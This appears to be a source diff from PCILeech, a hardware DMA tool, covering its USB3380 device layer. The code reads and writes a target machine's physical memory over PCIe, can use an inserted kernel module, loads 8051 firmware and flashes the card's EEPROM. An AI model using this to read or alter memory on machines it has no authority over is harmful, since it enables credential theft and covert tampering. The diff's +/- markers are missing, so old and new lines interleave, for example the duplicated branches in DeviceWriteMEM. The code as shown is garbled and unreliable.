if(!pDeviceData->HandlesOpen) {
|
||||
return;
|
||||
}
|
||||
WinUsb_Free(pDeviceData->WinusbHandle);
|
||||
CloseHandle(pDeviceData->DeviceHandle);
|
||||
pDeviceData->HandlesOpen = FALSE;
|
||||
}
|
||||
|
||||
BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD dwReg;
|
||||
result = DeviceOpen_Open(pCfg, pDeviceData);
|
||||
if(!result) { return FALSE; }
|
||||
DeviceReadCsr(pDeviceData, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL);
|
||||
if(pCfg->fForceUsb2 && (dwReg & 0x0100 /* Super-Speed(USB3) */)) {
|
||||
printf("Device Info: Device running at USB3 speed; downgrading to USB2 ...\n");
|
||||
dwReg = 0x04; // USB2=ENABLE, USB3=DISABLE
|
||||
DeviceWriteCsr(pDeviceData, REG_USBCTL2, dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTE0);
|
||||
DeviceClose(pDeviceData);
|
||||
Sleep(1000);
|
||||
result = DeviceOpen_Open(pCfg, pDeviceData);
|
||||
if(!result) { return FALSE; }
|
||||
DeviceReadCsr(pDeviceData, REG_USBSTAT, &dwReg, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL);
|
||||
}
|
||||
if(dwReg & 0xc0 /* Full-Speed(USB1)|High-Speed(USB2) */) {
|
||||
printf("Device Info: Device running at USB2 speed.\n");
|
||||
} else if(pCfg->fVerbose) {
|
||||
printf("Device Info: Device running at USB3 speed.\n");
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
if(pDeviceData->KMDHandle) {
|
||||
return KMDWriteMemory(pDeviceData, qwAddr, pb, cb);
|
||||
if(ctx->phKMD) {
|
||||
return KMDWriteMemory(ctx, qwAddr, pb, cb);
|
||||
} else {
|
||||
return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags);
|
||||
return DeviceWriteDMA(ctx, qwAddr, pb, cb, flags);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
if(pDeviceData->KMDHandle) {
|
||||
return KMDReadMemory(pDeviceData, qwAddr, pb, cb);
|
||||
if(ctx->phKMD) {
|
||||
return KMDReadMemory(ctx, qwAddr, pb, cb);
|
||||
} else {
|
||||
return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, flags);
|
||||
return DeviceReadDMA(ctx, qwAddr, pb, cb, flags);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL DevicePciOutWriteDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
BYTE data[4 + 4 + 64 * 4];
|
||||
if(((cb % 4) != 0) || (cb > 256)) { return FALSE; }
|
||||
if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; }
|
||||
*(PDWORD)(data + 0) = 0x0000004f | (cb >> 2) << 24;
|
||||
*(PDWORD)(data + 4) = (DWORD)qwAddr;
|
||||
memcpy(data + 8, pb, cb);
|
||||
return WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipePciOut, data, 8 + cb, &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL DevicePciInReadDma(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
BYTE data[4 + 4];
|
||||
if(((cb % 4) != 0) || (cb > 256)) { return FALSE; }
|
||||
if((qwAddr & 0x03) || ((qwAddr + cb) > 0x100000000)) { return FALSE; }
|
||||
*(PDWORD)(data + 0) = 0x000000cf | (cb >> 2) << 24;
|
||||
*(PDWORD)(data + 4) = (DWORD)qwAddr;
|
||||
return
|
||||
WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipePciOut, data, 8, &cbTransferred, NULL) &&
|
||||
WinUsb_ReadPipe(pDeviceData->WinusbHandle, pDeviceData->PipePciIn, pb, cb, &cbTransferred, NULL) &&
|
||||
cb == cbTransferred;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// device.h : definitions related to the USB3380 hardware device.
|
||||
// device.h : definitions related to the hardware devices.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __DEVICE_H__
|
||||
@@ -8,104 +8,67 @@
|
||||
#include "pcileech.h"
|
||||
|
||||
#define PCILEECH_MEM_FLAG_RETRYONFAIL 0x01
|
||||
#define PCILEECH_MEM_FLAG_VERIFYWRITE 0x02
|
||||
|
||||
/*
|
||||
* Open a USB connection to the target USB3380 device.
|
||||
* -- pDeviceData = ptr to DeviceData to receive values on success.
|
||||
* Open a USB connection to the target device.
|
||||
* -- ctx
|
||||
* -- result
|
||||
*/
|
||||
BOOL DeviceOpen(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData);
|
||||
BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Clean up various device related stuff and deallocate some meoory buffers.
|
||||
* -- pDeviceData
|
||||
* Clean up various device related stuff and deallocate memory buffers.
|
||||
* -- ctx
|
||||
*/
|
||||
VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData);
|
||||
|
||||
/*
|
||||
* Flash a new firmware into the onboard memory of the USB3380 card.
|
||||
* This may be dangerious and the device may stop working after a reflash!
|
||||
* -- pDeviceData
|
||||
* -- pbEEPROM = EEPROM data to flash.
|
||||
* -- cbEEPROM = length of EEPROM data to flash.
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM);
|
||||
|
||||
/*
|
||||
* Load a program into the 8051 CPU and start executing it.
|
||||
* -- pDeviceData
|
||||
* -- pbProgram8051 = the 8051 binary to execute.
|
||||
* -- cbProgram8051 = the length of the 8051 binary to execute.
|
||||
* -- return
|
||||
*/
|
||||
BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051);
|
||||
|
||||
/*
|
||||
* Stop the onboard 8051 CPU if its running.
|
||||
* -- pDeviceData
|
||||
*/
|
||||
VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData);
|
||||
VOID DeviceClose(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
|
||||
/*
|
||||
* Read data from the target system using DMA.
|
||||
* -- pDeviceData
|
||||
* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space)
|
||||
* -- ctx
|
||||
* -- qwAddr
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
|
||||
/*
|
||||
* Write data to the target system using DMA.
|
||||
* -- pDeviceData
|
||||
* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space)
|
||||
* -- ctx
|
||||
* -- qwAddr
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL, PCILEECH_MEM_FLAG_VERIFYWRITE
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
|
||||
/*
|
||||
* First write data using DMA, then verify the data has been correctly written
|
||||
* by reading the data. NB! If the running target system changes the data
|
||||
* between the write and the read this call will fail.
|
||||
* -- pDeviceData
|
||||
* -- qwAddr - max supported address = 0x100000000 - cb - (32-bit address space)
|
||||
* -- pb
|
||||
* -- cb
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
|
||||
/*
|
||||
* Write target physical memory. If an KMD is inserted in the target kernel the
|
||||
* KMD will be used to read the memory, otherwise the memory will be written
|
||||
* withstandard DMA. Minimum granularity: byte.
|
||||
* -- pDeviceData
|
||||
* KMD will be used to write the memory, otherwise the memory will be written
|
||||
* with standard DMA. Minimum granularity: byte.
|
||||
* -- ctx
|
||||
* -- qwAddress = the physical address to write to in the target system.
|
||||
* -- pb = bytes to write
|
||||
* -- cb = number of bytes to write.
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceWriteMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
BOOL DeviceWriteMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
|
||||
/*
|
||||
* Read target physical memory. If an KMD is inserted in the target kernel the
|
||||
* KMD will be used to read the memory, otherwise the memory will be read with
|
||||
* standard DMA. Minimum granularity: page (4kB)
|
||||
* -- pDeviceData
|
||||
* -- ctx
|
||||
* -- qwAddress = physical address in target system to read.
|
||||
* -- pb = pre-allocated buffer to place result in.
|
||||
* -- cb = length of data to read, must not be larger than pb.
|
||||
* -- flags - supported flags: 0, PCILEECH_MEM_FLAG_RETRYONFAIL
|
||||
* -- return
|
||||
*/
|
||||
BOOL DeviceReadMEM(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
BOOL DeviceReadMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags);
|
||||
|
||||
#endif /* __DEVICE_H__ */
|
||||
505
pcileech/device3380.c
Normal file
505
pcileech/device3380.c
Normal file
@@ -0,0 +1,505 @@
|
||||
// device.c : implementation related to the USB3380 hardware device.
|
||||
//
|
||||
// (c) Ulf Frisk, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "device3380.h"
|
||||
#include "device.h"
|
||||
#include <versionhelpers.h>
|
||||
|
||||
// Device Interface GUID. Must match "DeviceInterfaceGUIDs" registry value specified in the INF file.
|
||||
// F72FE0D4-CBCB-407d-8814-9ED673D0DD6B
|
||||
DEFINE_GUID(GUID_DEVINTERFACE_android, 0xF72FE0D4, 0xCBCB, 0x407d, 0x88, 0x14, 0x9E, 0xD6, 0x73, 0xD0, 0xDD, 0x6B);
|
||||
|
||||
#define CSR_BYTE0 0x01
|
||||
#define CSR_BYTE1 0x02
|
||||
#define CSR_BYTE2 0x04
|
||||
#define CSR_BYTE3 0x08
|
||||
#define CSR_BYTEALL 0x0f
|
||||
#define CSR_CONFIGSPACE_PCIE 0x00
|
||||
#define CSR_CONFIGSPACE_MEMM 0x10
|
||||
#define CSR_CONFIGSPACE_8051 0x20
|
||||
#define REG_USBSTAT 0x90
|
||||
#define REG_USBCTL2 0xc8
|
||||
#define REG_DMACTL_0 0x180
|
||||
#define REG_DMASTAT_0 0x184
|
||||
#define REG_DMACOUNT_0 0x190
|
||||
#define REG_DMAADDR_0 0x194
|
||||
#define REG_FIFOSTAT_0 0x32c
|
||||
#define REG_DMACTL_1 0x1a0
|
||||
#define REG_DMASTAT_1 0x1a4
|
||||
#define REG_DMACOUNT_1 0x1b0
|
||||
#define REG_DMAADDR_1 0x1b4
|
||||
#define REG_DMACTL_2 0x1c0
|
||||
#define REG_DMASTAT_2 0x1c4
|
||||
#define REG_DMACOUNT_2 0x1d0
|
||||
#define REG_DMAADDR_2 0x1d4
|
||||
#define REG_DMACTL_3 0x1e0
|
||||
#define REG_DMASTAT_3 0x1e4
|
||||
#define REG_DMACOUNT_3 0x1f0
|
||||
#define REG_DMAADDR_3 0x1f4
|
||||
#define REG_PCI_STATCMD 0x04
|
||||
#define USB_EP_PCIIN 0x8e
|
||||
#define USB_EP_PCIOUT 0x0e
|
||||
#define USB_EP_CSRIN 0x8d
|
||||
#define USB_EP_CSROUT 0x0d
|
||||
#define USB_EP_DMAOUT 0x02
|
||||
#define USB_EP_DMAIN1 0x84
|
||||
#define USB_EP_DMAIN2 0x86
|
||||
#define USB_EP_DMAIN3 0x88
|
||||
|
||||
typedef struct _DEVICE_DATA {
|
||||
BOOL HandlesOpen;
|
||||
BOOL IsAllowedMultiThreadDMA;
|
||||
QWORD MaxSizeDmaIo;
|
||||
WINUSB_INTERFACE_HANDLE WinusbHandle;
|
||||
HANDLE DeviceHandle;
|
||||
WCHAR DevicePath[MAX_PATH];
|
||||
} DEVICE_DATA, *PDEVICE_DATA;
|
||||
|
||||
#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */
|
||||
typedef struct tdPipeSendCsrWrite {
|
||||
UCHAR u1;
|
||||
UCHAR u2;
|
||||
UCHAR u3;
|
||||
UCHAR u4;
|
||||
DWORD dwRegValue;
|
||||
} PIPE_SEND_CSR_WRITE;
|
||||
#pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */
|
||||
|
||||
typedef struct tdEP_INFO {
|
||||
UCHAR pipe;
|
||||
WORD rCTL;
|
||||
WORD rSTAT;
|
||||
WORD rCOUNT;
|
||||
WORD rADDR;
|
||||
} EP_INFO, *PEP_INFO;
|
||||
|
||||
EP_INFO CEP_INFO[3] = {
|
||||
{ .pipe = USB_EP_DMAIN1,.rCTL = REG_DMACTL_1,.rSTAT = REG_DMASTAT_1,.rCOUNT = REG_DMACOUNT_1,.rADDR = REG_DMAADDR_1 },
|
||||
{ .pipe = USB_EP_DMAIN2,.rCTL = REG_DMACTL_2,.rSTAT = REG_DMASTAT_2,.rCOUNT = REG_DMACOUNT_2,.rADDR = REG_DMAADDR_2 },
|
||||
{ .pipe = USB_EP_DMAIN3,.rCTL = REG_DMACTL_3,.rSTAT = REG_DMASTAT_3,.rCOUNT = REG_DMACOUNT_3,.rADDR = REG_DMAADDR_3 }
|
||||
};
|
||||
|
||||
typedef struct tdThreadDataReadEP {
|
||||
PDEVICE_DATA pDeviceData;
|
||||
QWORD qwAddr;
|
||||
PBYTE pb;
|
||||
DWORD cb;
|
||||
BOOL isFinished;
|
||||
BOOL result;
|
||||
PEP_INFO pep;
|
||||
} THREAD_DATA_READ_EP, *PTHREAD_DATA_READ_EP;
|
||||
|
||||
typedef struct _DEVICE_MEMORY_RANGE {
|
||||
DWORD BaseAddress;
|
||||
DWORD TopAddress;
|
||||
} DEVICE_MEMORY_RANGE, *PDEVICE_MEMORY_RANGE;
|
||||
|
||||
#define NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES 2
|
||||
DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES] = {
|
||||
{ .BaseAddress = 0x000A0000,.TopAddress = 0x000FFFFF }, // SMM LOWER
|
||||
{ .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE
|
||||
};
|
||||
|
||||
BOOL Device3380_IsInReservedMemoryRange(_In_ QWORD qwAddr, _In_ DWORD cb)
|
||||
{
|
||||
PDEVICE_MEMORY_RANGE pmr;
|
||||
for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) {
|
||||
pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i];
|
||||
if(!((qwAddr > pmr->TopAddress) || (qwAddr + cb <= pmr->BaseAddress))) {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL Device3380_WriteCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _In_ DWORD dwRegValue, _In_ BYTE fCSR)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0x40, .u2 = 0, .u3 = wRegAddr & 0xFF, .u4 = (wRegAddr >> 8) & 0xFF, .dwRegValue = dwRegValue };
|
||||
if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned
|
||||
return WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_CSROUT, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL Device3380_ReadCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _Out_ PDWORD pdwRegValue, _In_ BYTE fCSR)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0xcf, .u2 = 0, .u3 = wRegAddr & 0xff, .u4 = (wRegAddr >> 8) & 0xff, .dwRegValue = 0 };
|
||||
if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned
|
||||
return
|
||||
WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_CSROUT, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL) &&
|
||||
WinUsb_ReadPipe(pDeviceData->WinusbHandle, USB_EP_CSRIN, (PUCHAR)pdwRegValue, 4, &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL Device3380_ReadDMA_Retry(PTHREAD_DATA_READ_EP ptd)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD cbTransferred;
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
Device3380_WriteCsr(ptd->pDeviceData, REG_PCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ???
|
||||
result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL);
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID Device3380_ReadDMA2(PTHREAD_DATA_READ_EP ptd)
|
||||
{
|
||||
DWORD dwTimeout, cbTransferred;
|
||||
if(ptd->cb > ptd->pDeviceData->MaxSizeDmaIo) {
|
||||
ptd->result = FALSE;
|
||||
ptd->isFinished = TRUE;
|
||||
return;
|
||||
}
|
||||
// set EP timeout value on conservative usb2 assumptions (3 parallel reads, 35MB/s total speed)
|
||||
// (XMB * 1000 * 3) / (35 * 1024 * 1024) -> 0x2fc9 ~> 0x3000 :: 4k->64ms, 5.3M->520ms
|
||||
dwTimeout = 64 + ptd->cb / 0x3000;
|
||||
WinUsb_SetPipePolicy(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &dwTimeout);
|
||||
// perform memory read
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
Device3380_WriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL);
|
||||
if(!ptd->result) {
|
||||
ptd->result = Device3380_ReadDMA_Retry(ptd);
|
||||
}
|
||||
ptd->isFinished = TRUE;
|
||||
}
|
||||
|
||||
BOOL Device3380_ReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
THREAD_DATA_READ_EP td[3];
|
||||
DWORD i, dwChunk;
|
||||
PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
if(cb % 0x1000) { return FALSE; }
|
||||
if(cb > 0x01000000) { return FALSE; }
|
||||
if(qwAddr + cb > 0x100000000) { return FALSE; }
|
||||
if(Device3380_IsInReservedMemoryRange(qwAddr, cb) && !ctx->cfg->fForceRW) { return FALSE; }
|
||||
ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3);
|
||||
if(cb < 0x3000 || !pDeviceData->IsAllowedMultiThreadDMA) {
|
||||
if(cb > 0x00800000) { // read max 8MB at a time.
|
||||
return
|
||||
Device3380_ReadDMA(ctx, qwAddr, pb, 0x00800000) &&
|
||||
Device3380_ReadDMA(ctx, qwAddr + 0x00800000, pb + 0x00800000, cb - 0x00800000);
|
||||
}
|
||||
td[0].pDeviceData = pDeviceData;
|
||||
td[0].pep = &CEP_INFO[0];
|
||||
td[0].qwAddr = qwAddr;
|
||||
td[0].pb = pb;
|
||||
td[0].cb = cb;
|
||||
Device3380_ReadDMA2(&td[0]);
|
||||
return td[0].result;
|
||||
} else {
|
||||
dwChunk = (cb / 3) & 0xfffff000;
|
||||
for(i = 0; i < 3; i++) {
|
||||
td[i].pDeviceData = pDeviceData;
|
||||
td[i].pep = &CEP_INFO[i];
|
||||
td[i].qwAddr = qwAddr; qwAddr += dwChunk;
|
||||
td[i].pb = pb; pb += dwChunk;
|
||||
if(i == 2) {
|
||||
td[i].cb = cb - 2 * dwChunk;
|
||||
Device3380_ReadDMA2(&td[i]);
|
||||
}
|
||||
else {
|
||||
td[i].cb = dwChunk;
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Device3380_ReadDMA2, &td[i], 0, NULL);
|
||||
}
|
||||
}
|
||||
while(!td[0].isFinished || !td[1].isFinished || !td[2].isFinished) {
|
||||
SwitchToThread();
|
||||
}
|
||||
return td[0].result && td[1].result && td[2].result;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL Device3380_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD cbTransferred;
|
||||
PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
if(qwAddr + cb > 0x100000000) { return FALSE; }
|
||||
Device3380_WriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH
|
||||
Device3380_WriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE
|
||||
Device3380_WriteCsr(pDeviceData, REG_DMAADDR_0, (DWORD)qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
Device3380_WriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
Device3380_WriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
Device3380_WriteCsr(pDeviceData, REG_PCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ???
|
||||
result = WinUsb_WritePipe(pDeviceData->WinusbHandle, USB_EP_DMAOUT, pb, cb, &cbTransferred, NULL);
|
||||
Device3380_WriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - must be here for 1st transfer to work.
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL Device3380_WriteDMAVerify(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
PBYTE pbV;
|
||||
BOOL result = DeviceWriteDMA(ctx, qwAddr, pb, cb, flags);
|
||||
if(!result) { return FALSE; }
|
||||
pbV = LocalAlloc(0, cb + 0x2000);
|
||||
if(!pbV) { return FALSE; }
|
||||
result =
|
||||
DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) &&
|
||||
(0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb));
|
||||
LocalFree(pbV);
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL Device3380_8051Start(_Inout_ PPCILEECH_CONTEXT ctx, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051)
|
||||
{
|
||||
WORD wAddr = 0;
|
||||
DWORD dwWriteValue;
|
||||
PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
if(!pbProgram8051 || !cbProgram8051 || cbProgram8051 > 0x7FFF) { return FALSE; }
|
||||
while(wAddr < cbProgram8051) {
|
||||
dwWriteValue = *(DWORD*)(pbProgram8051 + wAddr); // TODO: may read out-of-buffer by max 3 bytes
|
||||
Device3380_WriteCsr(pDeviceData, wAddr, dwWriteValue, CSR_CONFIGSPACE_8051 | CSR_BYTEALL); // write 8051 program memory (page 253).
|
||||
Device3380_ReadCsr(pDeviceData, wAddr, &dwWriteValue, CSR_CONFIGSPACE_8051);
|
||||
wAddr += 4;
|
||||
}
|
||||
Device3380_ReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); // enable 8051
|
||||
dwWriteValue &= 0xFE;
|
||||
Device3380_WriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); //DEVINIT - START 8051
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Device3380_8051Stop(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
DWORD dwWriteValue;
|
||||
Device3380_ReadCsr((PDEVICE_DATA)ctx->hDevice, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM);
|
||||
dwWriteValue |= 0x01;
|
||||
Device3380_WriteCsr((PDEVICE_DATA)ctx->hDevice, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0);
|
||||
}
|
||||
|
||||
BOOL Device3380_FlashEEPROM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM)
|
||||
{
|
||||
WORD wAddr = 0;
|
||||
DWORD dwWriteValue;
|
||||
PDEVICE_DATA pDeviceData = (PDEVICE_DATA)ctx->hDevice;
|
||||
if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) {
|
||||
return FALSE; // too small or too large for 2 byte addressing mode
|
||||
}
|
||||
while(wAddr < cbEEPROM) {
|
||||
// initialize EEPROM for writing
|
||||
Device3380_WriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable
|
||||
Device3380_WriteCsr(pDeviceData, 0x260, 0x00000000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // off
|
||||
// write data
|
||||
dwWriteValue = *(DWORD*)(pbEEPROM + wAddr);
|
||||
Device3380_WriteCsr(pDeviceData, 0x264, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTEALL);
|
||||
// write control register and wait for action to finish
|
||||
dwWriteValue = 0x03004000 | (wAddr >> 2);
|
||||
